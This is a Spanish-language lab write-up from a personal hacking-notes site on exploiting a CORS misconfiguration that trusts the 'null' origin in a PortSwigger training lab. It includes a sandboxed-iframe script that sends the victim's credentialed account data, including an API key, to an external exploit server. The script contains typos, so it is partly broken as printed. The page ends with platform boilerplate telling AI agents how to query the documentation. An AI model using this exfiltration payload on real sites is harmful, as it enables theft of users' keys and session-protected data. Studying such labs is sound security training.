> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cors/cors-null-origin-trusted.md).

# Origen nulo de CORS confiado

### Vulnerabilidad de CORS con origen nulo de confianza

Explota una configuración de CORS vulnerable que confía en el origen original `"null"`. El objetivo del laboratorio es obtener la clave API del administrador mediante una consulta CORS (con `credenciales`) y subir el código al servidor de explotación. El laboratorio se resuelve cuando la clave API del administrador se envía correctamente.

* El servidor devuelve `Access-Control-Allow-Credentials: true`.

<figure><img src="/files/4c92049f4354af77ed50ef0c8fc45e4504373077" alt=""><figcaption></figcaption></figure>

Cuando el `Origin: jord4n.pro` encabezado se envía, el dominio no se refleja.

<figure><img src="/files/183adb4827c5ef374a0912019e6ce25873302e5d" alt=""><figcaption></figcaption></figure>

Sin embargo, al enviar `Origin: null`, la respuesta acepta y refleja este valor.

<figure><img src="/files/cc9ba7dbab693a6edaa7d97de297668a28a69324" alt=""><figcaption></figcaption></figure>

Fuerza una solicitud desde una página de `null` origen (p. ej., mediante `iframe` usando `srcdoc`) para que la respuesta CORS considere el origen confiable y devuelva los datos (con cookies usando `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="/files/780175616b9330173389524fa2af116d3db38898" alt=""><figcaption></figcaption></figure>

> Nota: el principio es ejecutar este código desde `null` el origen (iframe `srcdoc`) para que la respuesta CORS, que acepta `null`, devuelva datos sensibles, incluidas las cookies.

La clave recuperada, decodificada de Base64:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
